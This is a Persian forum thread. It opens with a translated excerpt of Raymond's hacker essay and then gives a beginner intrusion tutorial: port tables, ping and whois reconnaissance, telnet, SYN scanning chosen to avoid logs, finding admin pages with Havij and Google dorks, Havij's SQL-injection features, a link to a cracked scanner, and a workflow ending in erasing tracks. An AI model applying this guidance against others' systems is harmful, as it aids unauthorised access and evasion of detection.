-گوش تان را به موسیقی حساس کنید. بیاموزید که به نوع خاصی از موسیقی را درک کنید. نواختن برخی آلات موسیقی را به خوبی فرابگیرید یا آواز خواندن یاد بگیرید.

-کار با جملات قصار و بازی با کلمات را به خوبی بیاموزید.

هر چه موارد بیشتری را قبلأ انجام داده باشید استعداد بیشتری برای هکر شدن دارید. چرا این موارد خاص مهم هستند واقعا معلوم نیست. ولی ارتباط آنها با مهارتهای نیمکره ی چپ و راست مغز مربوط می شود، هردوی این ها اهمیت فراوانی دارند؛ هکرها همانگونه که به منطق استدلالی نیاز دارند به شهود عرفانی نیز محتاجند تا در لحظه ای خاص از شر منطق ناقص مشکلی خلاص شوند.

به همان میزان که بازی می کنید، کارکنید و همان قدر که کار می کنید، بازی کنید. برای هکر های واقعی مرزی میان ” بازی“ ، ” فعالیت“ ، ”دانش“ و ”هنر“ وجود ندارد و این با پدیدار شدن سطح بالایی از سرزندگی سازنده همراه خواهد بود. به هیچ وجه به اطلاعات مهارت های محدود اکتفا نکنید. برخلاف آن که بسیاری از هکرها خود را یک برنامه نویس معرفی می کنند، دارای مهارت های بسیاری هستند - مدیریت سیستم، طراحی وب و رفع اشکال های سخت افزاری PC یکی از معمول ترین آن هاست. هکری که مدیر سیستم است، اغلب، یک برنامه نویس حرفه ای و یک طراح وب است. هکر هرگز کاری را نیمه انجام شده رها نمی کند، اگر به موضوعی بپردازد در رابطه با این موضوع مهارت هایش را به اوج کمال می رساند.

در پایان چیزهایی هستند که نباید انجام دهید:

-از اسامی ابلهانه و بزرگ نما (قلمبه!) استفاده نکنید.

-در آتش افروزیهای گروه های خبری و یا هر بحث بی فایده ی دیگر شرکت نکنید.

-خودتان را "ولگرد سایبر" خطاب نکنید، وقت خود را با چنین افرادی هدر نکنید.

-نامه های الکترونیکی پر از غلط املایی و دستور زبانی نفرستید.

تنها چیزی که از این ها عایدتان می شود شهرت یک دلقک است. هکرها حافظه خوبی دارند - سالها طول می کشد تا دسته گلی که به آب داده اید فراموش شود و مورد قبول واقع شوید.

بر مشکل نام های کاربری یا اسامی مستعار باید تاکید کنم. پنهان کردن نام واقعی پشت رموز، کار ابلهانه و بچه گانه کرکر ها(crackers) و warez d00dz ویا دیگر فرم های پیش پا افتاده ی زندگیست. اگر نام مستعاری دارید آن را دور بیاندازید. در میان هکرها این حقیقتا باعث می شود تا شما را به فراموشی بسپارند. هکران از آنچه که انجام می دهند مغرورند و آن را وابسته به نام حقیقی خود می خواهند.

Share this post


Link to post
Share on other sites

پیتر سیباج (Peter Seebach) برای مدیران سیستمی که نمی دانند چطور با هکرها سر کنند، یک FAQ مکمل نوشته است که Hacker FAQ نام دارد.

این جا یک سند وجود دارد که How To Be A Programmer (چگونه یک برنامه نویس شویم) نام دارد این یکی از بهترین و کامل ترین هاست. ارزش این مستند فقط مربوط به آموزش کد نویسی نیست، در این سند درباره ی کد نویسی به صورت گروهی و چالش های یک کد نویسی گروهی صحبت شده است.

مقاله ای دیگر از Eric Steven Raymond به نام تاریخ اجمالی هکرگری : "A Brief History Of Hackerdom"

مقاله دیگری از Eric Steven Raymond برای آشنایی با فرهنگ لینوکس و بازمتن مقاله ای با نام "کلیسای فقید و بازار" یا "The Catedral and the Bazaar".

Rick Moen، مقاله ای به نام How to Run A Linux User Group نوشته است. (یک گروه کاربران لینوکس چطور به کار می افتد؟)

باز هم از Rick Moen و من (اریک ریموند) مقاله ای به نام چگونه یک سوال هوشمندانه بپرسیم، How to Ask Smart Questions وجود دارد.

اگر شما به اطلاعات پیش نیاز برای کامپیوتر های شخصی و شبکه ی اینترنت احتیاج دارید، به مقاله ی The Unix and Internet Fundamentals HOWTO (پایه های یونیکس و اینترنت) مراجعه کنید.

اگر شما برنامه ای منتشر می کنید و یا وصله ای برای برنامه ای می نویسید، به Software Release Practice HOWTO (راهنمای تمرین انتشار برنامه ها) سر بزنید.

Share this post


Link to post
Share on other sites

خوب طی چند پست اول مفاهیم و نکات اولیه رو یاد میگیرم بعد برنامه های مورد نیاز و ...

hacker

کسی که هدفش از نفوذ به سیستمها خرابکاری و ایجاد اختلال در سیستمهایکامپیوتری است

preacker

از قدیمیترین هکرها هستند که برای کارشان نیاز و یا دسترسی به کامپیوتر نداشته و کارشان نفوذ به خطوط تلفن برای تماس مجانی و ....

انواع کامپیوترهای شبکه

server

که کارشان تامین اطلاعات در شبکه است مثلا کامپیوترهایی که سایت ها رو نگه میدارند

client

کامپیوترهایی که استفاده کننده هستند مانند همین کامپیوتری که خودمان روزمره با ان کار میکنیم

انواع سیستم عامل هایی که سرورها از ان استفاده میکنند :

سیستمهای فعلی

unix..... linux,Free bsd ,....

Windows ...xp,7,....

Sun solaris

osMac

چه چیزهایی برای شروع لازم است ؟

linux , win را روی سیستم نصب و شروع به یادگیری کنید

زبان c را یاد بگیرید

شروع به یاد گیری tcp/ip کنید

و مهمترین مورد علاقه به طی کردن راه طولانی اموزش

Share this post


Link to post
Share on other sites

ارسال شده در (ویرایش شده)

زبان c را یاد بگیرید

شروع به یاد گیری tcp/ip کنید ( Pdf )

در حال ساخت بعد از تکمیل در پارت (1-1) پیوست میشه !

ویرایش شده در توسط spyman

Share this post


Link to post
Share on other sites

ارسال شده در (ویرایش شده)

ip شماره ایست که به هر کامپیوتر متصل به اینترنت داده میشود تا بتوان به کمک ان شماره به کامپیوترها دسترسی داشت . این عدد برای کامپیوترهایی که حالت سرور دارند {مانند سایتها }

و نیز کامپیوترهای کلاینتی که معمولا به روشی غیر از شماره گیری dial up به اینترنت وصل هستند عددی غیر قابل تغییر و برای دیگران متغییر است

یعنی هر بار که شما با شرکت isp خود تماس گرفته و به اینترنت وصل هستید عدیدی جدید به شما داده میشود

ممکن است ادرس شما به صورت 195.219.176.** باشد

حتی اسمهایی مانند www.yahoo.com

که برای اتصال استفاده میکنید در نهایت با ید به یک ip تبدیل شوند تا شما بتوانید سایت یاهو را ببینید

در ای پی معمولا *** اولی معنای خاصی دارد که در ادامه به ان خواهیم پرداخت ولی اگر به روش dial up به اینترنت وصل شوید معمولا عدددی که به عنوان *** اول میگیرید

مابین 192 تا 223 خواهد بود این توضیح برای تشخیص کامپیوترهای کلاینت از سرور {حد اقل در ایران}بسیار میتواند مفید باشد

پورت :

در ساده ترین توضیح محلی برای ورود و خروج داده ها میباشد

در هک ما معمولا با پورت های نرم افزاری سر و کار داریم که به هر کدام عددی نسبت میدهیم

این اعداد بین 1 تا 65535 هستند .معمولا به یک سری از پورت ها کار خاصی را نسبت میدهند و بقیه بصورت پیش فرض هستند و پورت هایی که به صورت فعال هستند توسط نرم افزار خاص مدیریت میشوند

مانند پورت 25 برای ارسال ایمیل

از میان پورتها 7,15,21,23,25,79,80,110,119, این پورتها مهمترند برای ما و به مرور با انها اشنا میشویم

تلنت

تلنت معمولا اولین کاری است که یک هکر برای هک کردن یک سایت انجام میدهد زیرا بعضی از پورتها در صورت بسته نبودن روی ان سرور معمولا حاوی اطلاعات مهمی هستند.

ویرایش شده در توسط spyman

Share this post


Link to post
Share on other sites

ارسال شده در (ویرایش شده)

آموزش و ارئه تمام راهکار ها در تلنت

Thumbs up2 دستورات cmd

در حال ساخت بعد از تکمیل در پارت (1-1) پیوست میشه !

ویرایش شده در توسط spyman

Share this post


Link to post
Share on other sites

ارسال شده در (ویرایش شده)

133tچیست ؟

گاهی هکرها در هنگام نوشتن به جای تعدادی از حروف انگلیسی معادل های قرار دادی بکار میبرند مانند زیر :

0<=o
1<+L:I
2<=z
3<=E
4<=A
5<=s
6<=G
7<=T
8<=B

و....

که این معادلات فقط برای دانستن و اطلاعات شخص میباشد نه ....

ترسیم مسیر برای اینده:

اولین و مهمترین تصمیم انتخاب نوع کامپیوتری است که میخواهید هک کنید { کلاینت یا سرور } زیرا روش هک کردن این دو بجز در مراحل ابتدائی کاملا متفاوت است

دومین گام انتخاب یک کامپیوتر مشخص { فرضا کامپیوتری که فلان سرور یا سایت را نگه داری میکند } و جمع اوری اطلاعات در مورد ان است

این جمع اوری اطلاعات از قربانی را footprinting میگوییم

اولین مشخصه که باید کشف شود ای پی اوست . مورد بعدی پیدا کردن نوع سیستم عامل و برنامه هایی که شخص از ان استفاده میکند

یکی از مهمترین و گاه خطرناک ترین کارها تست کردن پورتهای ان کامپیوتر برای دیدن باز یا بسته بودن پورتهای ان کامپیوتر است

مرحله بعدی شروع تلاش برای نفوذ به سیستم است . این نفوذ سطوح مختلف دارد و بالاترین ان که در کامپیوترهای سرور رخ میدهد حلتی است که بتوان یوزر نیم و پسوورد مربوط به مدیر کامپیوتر یا همان ادمین را به دست اورده و از طریق shell account به نهایت نفوذ دست یابیم ولی گاه به دلایل مختلف نمیتوان به این سطح دست یافت اما برای مراحل بعد بکار برده خواهد شد

این مرحله بعد از نفوذ روی میدهد که در ان به یک سطحی از کنترل سیستم رسیده ایم در این مرحله نوع واکنش شما بیانگر نوع هکر بودن شما خواهد شد

مرحله بعد پاک کردن رد پا است تا گیر نیافتیم

خلاصه مطلب فوق

selection->footprinting->pentetration->cleaning 

ویرایش شده در توسط spyman

Share this post


Link to post
Share on other sites

پیدا کردن ip یک سرور :

در مرور گر ie internet explorer ادرس را تایپ کنید و enter را فشار دهید

در پائین مرورگر یعنی قسمت status bar پس از چند لحظه برای مدت کوتاهیip نمایش داده میشود و میتوانید ان را یادداشت نمائید

البته به دلیل ضریب اشتباه بالا این متد زیاد جالب نمیباشد

روش بعدی دستور ping را در command prompet صادر کنید

ping domain

در این حالت میتوانیم ip ان سایت را ملاحظه کنیم

روش بعدی و کاملترین روش whois کردن به بعضی سایتهای خاص است

در این قسمت یه نرم افزار برای whois براتون میزارم البته روشهای دیگه هم هست مثل سایت های انلاین و ...

لینک دانلود نرم افزار whois

-----------

تقسیم بندی ادرس ip

ادرس های ip به 5 کلاس تقسیم میشوند که a تا e نام دارند ولی از بین انها a.b.c کاربرد عملی دارند

کلاس a : اگر ip را بصورت yyy.yyy.yyy.yyy در نظر بگیرید این کلاس تمام ای پی هایی را شامل میشود که *** بین 1 تا 126 است این کلاس برای backbone های بزرگ اینترنتی است و در هنگام ثبتdomain برای گرفتن ip از انها استفاده میشود بنابراین اکثر سایت هایی که چنین ip هایی دارند این کلاس را 8/

هم میگویند

کلاس b : این کلاس تمام ip هایی را شامل میشوند که *** بین 128 و 191 است که این کلاس جز کلاس های پر کاربرد است این کلاس را 16/ هم مینامند

کلاس c : این کلاس تمام ip هایی را شامل میشوند که *** بین 192 تا 223 است

این کلاس معمولا به isp هایی که خدمات dial up ارائه میدهند تعلق میگیرد بنابراین اگر با dial-up به اینترنت وصل شوید چنین ip را میگیرید این کلاس را هم 24/ مینامند

ممکن است در این میان این سوال پیش اید که *** چرا نه در کلاس a و نه در b عدد 127 را شامل نمیشود ؟

چون 127 برای کامپیوتر خودمان رزرو شده است مثلا 127.0.0.1 معمولا یعنی لوکال هاست خودمان

Share this post


Link to post
Share on other sites

Port

در ساده ترين تعريف، محلی است که داده ها وارد با خارج می شوند. در مبحث هک معمولا با پورت های نرم افزاری سروکار داريم که به هر کدام عددی نسبت می دهيم. اين اعداد بين ۱ و ۶۵۵۳۵ هستند. معمولا به يک سری از پورت ها کار خاصی را نسبت می دهند و بقيه به صورت پيش فرض برای استفاده شما هستند. پورت های که فعال هستند، هرکدام توسط يک نرم افزار خاص مديريت می شوند. مثلا پورت ۲۵ برای ارسال Email است، بنابراين بايد توسط يک نرم افزار اين کار انجام شود و اين نرم افزار بر روی پورت ۲۵ منتظر (فال گوش) می ماند. اينجا ممکن است شخصی از فلان نرم افزار و ديگری از بهمان نرم افزار استفاده کند ولی به هر حال پورت ۲۵ هميشه برای ارسال Email است.

در پايين ليستی از مهمترين پورت ها و کاربردشان را می بينيد:

Port Num   Service         Why it is phun!
--------   -------         ----------------------------------------
7          echo            Host repearts what you type
9          discard         Dev/null 
11         systat          Lots of info on users
13         daytime         Time and date at computers location
15         netstat         Tremendous info on networks
19         chargen         Pours out a stream of ASCII characters.
21         ftp             Transfers files
23         telnet          Where you log in.
25         smpt            Forge email
37         time            Time
39         rlp             Resource location
43         whois           Info on hosts and networks
53         domain          Nameserver
70         gopher          Out-of-date info hunter
79         finger          Lots of info on users
80         http            Web server
110        pop             Incoming email
119        nntp            Usenet news groups -- forge posts, cancels
443        shttp           Another web server
512        biff            Mail notification
513        rlogin          Remote login
          who             Remote who and uptime
514        shell           Remote command, no password used!
          syslog          Remote system logging
520        route           Routing information protocol

- RFC چيست؟

متون بسيار کامل ولی خشک و ثقيل که در مورد مفاهيم مختلف شبکه بحث می کنند. اين فايل ها به صورت متنی و با پسوند txt هستند و به عنوان مرجع (برای مراجعه و نه مطالعه کامل) کاربرد دارند. اين فايل ها يک بار منتشر شده و هرگز تغيير داده نمی شوند (حتی اگر حاوی اشتباه باشند.)

- فايل های RFC از کجا قابل دسترسی هستند؟

RFCها از سايت های بسياري قابل دسترس هستند ولی سايت مورد علاقه من برای RFCها، سايت زير است:

http://www.ietf.org/rfc/xxxxxxx.txt 

به جای xxxxxxx نام rfc موردنظر را می نویسيم. مثلا برای دسترسی به rfc791 بايد آدرس را به صورت زير تايپ کنيم:

http://www.ietf.org/rfc/rfc791. 

-----------

Command Prompt چيست؟

در بسياری از درسbهای آينده از Command Prompt (خط فرمان) ويندوز استفاده خواهيم کرد. برای باز کردن آن يکی از روشbهای زير را به کار بريد:

۱- مسير زير را در ويندوز طی کنيد:

Start > Programs > Accessories > Command Prompt۲- در قسمت Run بنويسيد: command يا cmd

- پيدا کردن ip يک سايت با دانستن آدرس اينترنتی آن (پيدا کردن ip سرور)

برای اين کار روشهای مختلفی هست:

۱- در (Internet Explorer (IE آدرس را تايپ کنيد و Enter را فشار دهيد. در قسمت پايين مرورگر يعنی Status Bar پس از چند لحظه برای مدت کوتاهی ip نمايش داده میbشود و میbتوانيد آنرا يادداشت کنيد. اگر طول اين مدت بسيار کوتاه است میbتوانيد از صفحه عکس بگيريد ( با دکمه Print Screen ) و در يک نرمbافزار گرافيکی بعد از باز کردن يک صفحه خالی به کمک Ctrl+V آنرا مشاهده کنيد.

که همان شماره ip برای

 www.yahoo.com

است.

نکته بسيار مهم اين است که بهbدليل ضريب اشتباه بسيار بالای آن هيچbگاه از اين روش استفاده نکنيد.

Share this post


Link to post
Share on other sites

دستور ping را در command prompt صادر کنيد:

ping domainدر اين حالت می توانم ip آن سايت را ملاحظه کنم. (البته کار اصلی ping يک چيز ديگست و ميشه گفت داريم ازش سوءاستفاده می کنيم). مثلا برای پيدا کردن ip سازين می نويسم:

ping sazin.comو جواب می شنوم:

Pinging sazin.com [63.148.227.65] with 32 bytes of data:

Reply from 63.148.227.65: bytes=32 time=821ms TTL=111
Reply from 63.148.227.65: bytes=32 time=821ms TTL=111
Reply from 63.148.227.65: bytes=32 time=822ms TTL=111
Reply from 63.148.227.65: bytes=32 time=811ms TTL=111


Ping statistics for 63.148.227.65:
   Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
   Minimum = 811ms, Maximum =  822ms, Average =  818ms

ملاحظه می فرماييد که ip سازين 63.148.227.65 است.

اگر دستور ping را به جای sazin.com برای www.sazin.com صادر کنيد، جواب همان است. البته برای سايت های بزرگ جواب های حاصل متفاوت خواهد بود.

- روش بعدی و کامل ترين روش whois کردن به بعضی سايت های خاص است. بعدا اين را کامل تر توضيح می دم ولی فعلا روشش رو می گم. آدرس زير را در مرورگر خود تايپ کنيد:http://www.samspade.org/t/ipwhois?a=xxxxxxکه به جای xxxxxx آدرس مورد نظر را تايپ کنيد. مثلا برای sazin.com يکی از دو آدرس زير را بايد تايپ کرد:http://www.samspade.org/t/ipwhois?a=sazin.com

http://www.samspade.org/t/ipwhois?a=www.sazin.comچيزی که در صفحه ظاهر می شود به صورت زير است:

whois -h magic 63.148.227.65
sazin.com resolves to 63.148.227.65

Trying whois -h whois.arin.net 63.148.227.65
Qwest Communications NET-QWEST-BLKS-2 (NET-63-144-0-0-1) 
                                 63.144.0.0 - 63.151.255.255
Neutron Digital Media Corp. QWST-63-148-224 (NET-63-148-224-0-1) 
                                 63.148.224.0 - 63.148.231.255

# ARIN Whois database, last updated 2002-09-04 19:05
# Enter ? for additional hints on searching ARIN"s Whois database.

که آدرس ip در سطر اول و دوم ذکر شده است.

اگر دو روش آخر را برای سايت بزرگ yahoo انجام دهيم، نتايج زير را می بينيم:

--> روش ping :

www.yahoo.com ====> 64.58.76.229

yahoo.com ====> 66.218.71.198

--> روش whois :

...و www.yahoo.com ====> 66.218.71.86

64.58.79.230 و yahoo.com ====> 66.218.71.198

نتايج حاصل گويای آن است که چرا بهتر است از whois استفاده کنيم.

Share this post


Link to post
Share on other sites

Telnet یا Telecommunication network نرم افزاری است که به افراد توانایی کنترل قسمت های مختلف یک کامپیوتر را از راه دور می دهد. تمام این توانایی ها در محیط متنی صورت می گیرد و تنها به وسیله ی یک سری دستورات است که می توانیم به اهداف خود برسیم. این دستورات جا به جا شده بین کامپیوتر میزبان و میهمان، به صورت متن منتقل می شود و بنابراین امنیت کمی خواهند داشت. اگر واقعن نگران اطلاعات جا به جا شده هستید، می توانید از SSH یا Secure Shell استفاده کنند. استفاده از Telnet:

برای استفاده از Telnet، بعد از وارد شدن به محیط Command Prompt به صورت زیر عمل کنید:

Telnet Computer name 

به جای Computer name نام کامپیوتری که قصد متصل شدن به آن دارید را بنویسید. در این صورت، اگر سرویس Telnet بر روی کامپیوتر میزبان روشن باشد، شما به Command Prompt آن کامپیوتر دسترسی خواهید داشت . البته قبل از متصل شدن ممکن است از شما تقاضای نام کاربری و رمز عبور کند که باید نام و پسورد اکانت کامپیوتر میزبان را وارد کنید. به این نکته نیز توجه داشته باشید که هنگام تایپ کلمه ی عبور، بر روی صفحه ی نمایش کلمه ای ظاهر نمی شود.

دستور Telnet شامل پارامتر های گوناگونی می باشد که هر کدام از آنها دارای کاربرد های زیادی هستند. به کمک پارامتر l- می توانید با نام کاربری مورد نظرتان، به کامپیوتر Remote متصل شوید. شکل کلی استفاده از این پارامتر به صورت زیر است:

Telnet Saeid –l administrator

که Saeid نام کامپیوتر مورد نظر Administrator هم یوزری است که با آن قصد لاگین کردن داریم. همچنین با کمک پارامتر Port می توانید با پورتی متفاوت به کامپیوتر مورد نظر متصل شوید:

Telnet Saeid 50 

پورت پیش فرض برنامه Telnet، عدد 23 است. اما ممکن است این پورت توسط مدیر شبکه مسدود و پورت دیگری به این کار اختصاص داده شده باشد. اینجاست که شما باید عدد پورت را هم وارد کنید. در ادامه نحوه ی تغییر دادن پورت را هم خواهیم آموخت.

برای ساختن فایل لاگ هم پارامتری وجود دارد که به کمک آن می توانید تمام فعالیت ها را ذخیره کنید.

با این دستور فایل لاگ در درایو D و با نام log ذخیره خواهد شد. البته برای این کار روش دیگری هم وجود دارد و آن استفاده از نرم افزار های جانبی است. یکی از برنامه های خوب در این زمینه CRT است.

ضمن اینکه به کمک دستور tlntadmn می توانید اطلاعات جامعی در مورد جلسه ی در حال اجرا به دست بیاورید. هنگام پایان کار نیز، با دستور exit ارتباط خود را با کامپیوتر Remote قطع نمایید.

تغییر پورت:

برای این کار نیاز به ایجاد تغییر در رجیستری ویندوز خواهید داشت. وارد پنجره ی Run شوید و عبارت regedit را وارد کنید. سپس شاخه ی زیر را طی کنید:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer \1.0 

سپس از سمت راست مقدار TelnetPort را تغییر دهید. در این مسیر می توانید سایر تنظیمات Telnet را نیز به صورت کامل دستکاری کنید.

خطاهای رایج:

ممکن است هنگام متصل شدن به کامپیوتر مورد نظر، با پیغام زیر روبه رو شوید:

Could not open connection to the host, on port 23: Connection failed 

این پیغام هنگامی ظاهر می شود که سرویس Telnet فعال نباشد. البته در شبکه های معمولی که امنیت سفت و سختی حکم فرما نیست شما به راحتی می توانید این سرویس را در کامپیوتر مورد نظر فعال کنید. برای این کار از پنجره ی Run، دستور mmc را تایپ کنید تا پنجره ی کنسول باز شود. از منوی File، گزینه ی Add/Remove snap-in را انتخاب کنید. با زدن دکمه ی Add، مشاهده خواهید کرد که می توانید به تمامی قسمت های کامپیوتر مورد نظر متصل شوید. در صفحه ی باز شده، گزینه ی Sevices را انتخاب کنید. در پنجره ی جدید با انتخاب گزینه ی Another computer، آدرس کامپیوتر مورد نظر را وارد کنید. بعد از انجام این کار، سرویس Telnet را پیدا کرده و آن را Start کنید.

البته تغییر پورت هم می تواند یکی از دلایل بروز این خطا باشد که نباید آن را فراموش کنید.

چگونه به يک پورت Telnet کنيم؟

برای اينکه عملکرد يک پورت برای شما روشن شود، بايد به آن پورت Telnet کنيد. (البته معمولا تعدادی از پورت هايی را که ممکن است اطلاعاتی مهم را در اختيار هکر ها قرار دهند مثل پورت ۷۹ معمولا بسته است و ارتباط با آنها شايد برقرار نشود.) برای telnet کردن در command prompt دستور زير را تايپ کنيد:

telnet hostname   portnum

در اين دستور به جای hostname شماره ip و يا نام سايت را وارد می کنيد و به جای portnum شماره پورت و يا معادل آن از جدول. مثلا برای تلنت کردن به پورت ۱۳ که ساعت و تاريخ را به دست می دهد در کامپيوتری به اسم www.iums.ac.ir مي نويسيد:

telnet iums.ac.ir 13 
 telnet iums.ac.ir daytime

هر دو اين دستورات معادل هم هستند.

تلنت کردن معمولا اولين کاری است که يک هکر برای هک کردن يک سايت انجام می دهد، زيرا بعضی از پورت ها در صورت بسته نبودن روی آن سرور، معمولا حاوی اطلاعات بسيار مهمی هستند.

Share this post


Link to post
Share on other sites

انواع Scanning

معمولا دو نوع Scanning وجود دارد:

Port Scanning :

در اين حالت ما IP يا IPهای مورد نظر را انتخاب کرده ايم و حالا می خواهيم بدانيم که کدام پورت ها روی آن کامپيوترها باز است.

IP Scanning :

در اين اسکنينگ می خواهيم بدانيم که از بين يک مجموعه ip ، کدام ها up و کدام ها down هستند. يعنی کدام ip ها الان قابل دسترسی هستند (يعنی به يه کامپيوتر در اينترنت نسبت داده شده است! ) فرض کنيد که شما يک سری IP مربوط به يک ISP خاص را داريد و می خواهيد بدانيد که در اين لحظه کدام ها فعال (up) هستند تا فقط آنها را بررسی کنيد و نه همه را.

چگونه يک ارتباط TCP برقرار می شود که بگوييم فلان پورت باز است يا نه؟

برای اينکه تعيين کنيم که يک پورت روی يک سرور باز است يا نه، معمولا بايد يک TCP connect scan انجام دهيم. اول اين را بگم که Port Scanning انواع مختلف دارد که فعلا ما نوع TCP connect را مدنظر داريم. اين نوع اسکن سه مرحله دارد که به آن TCP"s 3-way handshakeمی گويند:

۱- اول کامپيوتر ما به سمت سرور يک SYN packet می فرستد که به معنی درخواست اتصال است.

۲- اگر سرور اين درخواست را قبول کند، در مرحله دوم سرور به سمت ما يک SYN/ACK packet می فرستد.

۳- در مرحله آخر کامپيوتر ما يک ACK packet به سمت سرور می فرستد.

نوع ديگری از پورت اسکن TCP SYN scan نام دارد. با توجه به اينکه معمولا اگر پورت اسکن به روش بالا (TCP connect scan) انجام دهيم، معمولا در سرور اين اتصال ذخيره خواهد شد و بعدا می تواند ما را رديابی کنند، به جای آن می توان از TCP SYN scan استفاده کرد. در اين نوع اسکن، مراحل ۱ و ۲ از بالا انجام می شود ولی مرحله ۳ نه! اگر در مرحله ۲ به ما يک SYN/ACK برسد، آن پورت باز است و اگر يک RST/ACK برسد، يعنی بسته است.

انواع ديگری از پورت اسکنينگ هم وجود دارد مثل UDP scan, TCP Window scan, TCP ACK scan, TCP Null, TCP Xmas Tree, TCP FIN Scan

- چگونه می توان عمل Port scanning را انجام داد؟

در تمام مطالبی که تا اين مرحله گفته ام سعی کرده ام که فقط از ابزارهای موجود در ويندوز استفاده شه و هيچ ابزار ديگری به کار نبردم، اما در مبحث پورت اسکنينگ چون هيچ ابزاری در ويندوز برای اين کار نيست، به ناچار بايد يک سری برنامه را از اينترنت دانلود کنيد. (توجه داشته باشيد که فعلا حرفی از لينوکس نزده و سعی می کنیم فعلا هيچ بحثی را در مورد آن مطرح نکنم)

برای Port Scanning می توان از ابزارهای مختلفی استفاده کرد که اکثرا برای لينوکس طراحی شده اند، اما مهم ترين پورت اسکنرها برای ويندوز عبارتند از:

۱- نرم افزار NMapWin v1.3.0 :

نسخه گرافيکی و مخصوص ويندوز برای nmap است (nmap در لينوکس استفاده می شود). nmap از کامل ترين ابزارهايی است که هکر ها استفاده می کنند که علاوه بر توانايی انواع پورت اسکنينگ ها، می تواند کارهای بسياری چون تشخيص سيستم عامل سرور و ... را انجام دهد. اين ابزار را بعدا توضيح خواهم داد ولی فعلا برای کار ما بيش از حد کامله

۲- NetScanTools :

اين هم از بهترين هاست ولی چون پولی است به جای دانلود بايد در CD هايی که در بازار هست پيدايش کنيد.

۳- WinScan :

برای اسکن کردن TCP (ونه UDP) می توانيد از آن استفاده کنيد.

۴- ipEye v1.2 :

لازم است بگويم که اين نرم افزار فقط در ويندوز ۲۰۰۰ و xp کار می کند و نيز در يک بار اجرا فقط يک ip را می تواند تست کند. ضمنا فقط TCP را تست می کند.

Share this post


Link to post
Share on other sites

خوب تا الان با یه تعریف کلی از ابزار اشنا شدیم .

از این پست بحث هک با استفاده از مطالب تخصصی میشه

Share this post


Link to post
Share on other sites

لیست پسوند نام دامنه کشورهای مختلف رو میتونید در لینک زیر مشاهده کنید :

http://www.iana.com/domains/root/db/

اموزش کار با اسکنر Acunetix :در حال ساخت بعد از تکمیل پیوست میشه !

دانلود اسکنر Acunetix

کرک برنامه Acunetix

اموزش پیدا کردن صفحه ادمین سایت با Havij Acunetix :در حال ساخت بعد از تکمیل پیوست میشه !

توضیحات:

اسکنر Acunetix:

Web Vulnerability Scanner نام نرم افزاری قدرتمند برای شناسایی مشکلات موجود در یک وب سایت می باشد که نسخه شماره 7 آن مدتی قبل برای کاربران ارائه شده و به وسیله آن برنامه نویسان و صاحبان وب سایت ها قادرند تا مشکلات احتمالی سایت خود را مورد بررسی قرار دهند. شناسایی مشکلاتی نظیر ضعف های SQL Injection , XSS ، وجود باگ بر روی وب سرور ، مشکلات ناشی از برنامه نویسی ضعیف در هنگام کار با کوکی ها و ... از جمله ویژگی های بخش Scannerاین نرم افزار می باشد . همچنین در این نرم افزار ابزارهای مختلف دیگری نیز یافت می شود که از جمله کارایی های آنان می توان به لیست نمودن مسیر کامل فایل ها و پوشه های وب سایت اشاره نمود . قابلیت جستجو در وب سایت برای کشف مشکلات در Ajax و Web 2.0 از دیگر ویژگی های این نرم افزار محسوب می شود. قابلیت تهیه گزارش در برنامه از دیگر ویژگی های برتر این نرم افزار نسبت به برنامه های مشابه می باشد . به کمک ابزار یاد شده کاربر قادر خواهد بود تا گزارشی کامل به همراه جزئیات را آماده نموده و به مسئولین رده بالاتر به منظور رفع مشکلات تحویل دهد. ابزار آنالیز کردن صفحات وب سایت و تست تکنیک های مربوط به گوگل هک که یکی از پرکاربردترین روش های هک برای هکرها می باشد نیز در این برنامه موجود است. ابزارهای پیشرفته تست نفوذ که شامل HTTP Fuzzer , HTTP Sniffer , HTTP Editor و ... می باشد نیز در دسته ویژگی های برتر این نرم افزار می باشند. تست کردن نواحی مختلف وب سایت که در آن ها فرم ها و اطلاعات و یا رمزهای عبور برای DataBase ارسال می شوند نیز به منظور جلوگیری از ربودن این اطلاعات یکی از ابزارهای پرکاربرد برنامه می باشد. این نرم افزار قدرتمند محصولی از شرکت acunetix می باشد.

---------

راههاي پيدا كردن صفحه ادمين يك سايت

برای پیدا کردن صفحه Admin یک سایت میتوانید :

*از نرم افزار Havij استفاده کنید :

پس از باز کردن نرم افزار در دومین ردیف روی گزینه find admin کلیک کنید و با جایگزین کردن آدرس سایت به جای "http://www.target.com/" و کلیک بر روی دکمه start در نرم افزار می توانید به جستجو صفحه Admin بپردازید ! قابل ذکر است که این نرم افزار در بانک اطلاعاتی خودش نزدیک به 400 کلمه داره که با زبان های asp و php اونا رو تست می کنه ! همچنین میتونید پسوند مورد نظر خودتون که زبان برنامه نویسی سایت رو تعیین می کنه اضافه کنید !

*از وب سایت های جستجوگر آنلاین استفاده کنید :

همانطور که دوستانمون اشاره کردن میتونید از وب سایت هایی مانند http://sc0rpion.ir/af/ استفاده کنید

* از گوگل استفاده کنید :

با استفاده از گوگل هکینگ و وب سایت گوگل میتونید صفحه admin رو پیدا کنید ! به طور مثال می توانید از دستور زیر استفاده کنید :

site:target.com inurl:admin.php و با ویرایش این دستور به صفحه admin برسید !

* استفاده از robots.txt :

اما در مواردی مدیران سایت صفحات Admin رو از دید موتور های جستجو پنهان می کنن که برای این کار معمولا از فایل robots.txt استفاده می کنن که شما با فراخوانی robots.txt میتونید آدرس صفحه ادمین رو پیدا کنید

*استفاده از فایل config.php :

در مواردی شما از طریق Symlink و ... امکان مشاهده Config.php براتون پیش میاد ! و می تونید از این فایل آدرس admin رو پیدا کنید

---------

دانلود نرم افزار هویج

Havij یک ابزار خودکار تزریق SQL است که به متخصصان تست نفوذ کمک می کند تا آسیب پذیری های تزریق SQL را بر روی یک صفحه ی اینترنتی پیدا و اکسپلویت (exploit) کنند.

Havij می تواند از یک برنامه ی آسیب پذیر تحت وب بهره برداری کند. با استفاده از این نرم افزار کاربر می تواند دیتا بیس متصل به برنامه آسیب پذیر را شناسایی کند، کاربر ها و هش پسورد های دیتا بیس را بگیرد، جدول ها و ستون ها را استخراج کند، اطلاعات را از دیتابیس دریافت کند، دستورات SQL اجرا کند و حتی به فایل های سیستم قرار گرفته شده در پشت دسترسی پیدا کند و بر روی سیستم عامل ان دستور اجرا کند.

قدرت Havij که آن را از ابزار های مشابه متفاوت می کند روش های تزریق آن است. درصد موفقیت در تزریق هدف های آسیب پذیر بیش از 95% می باشد.

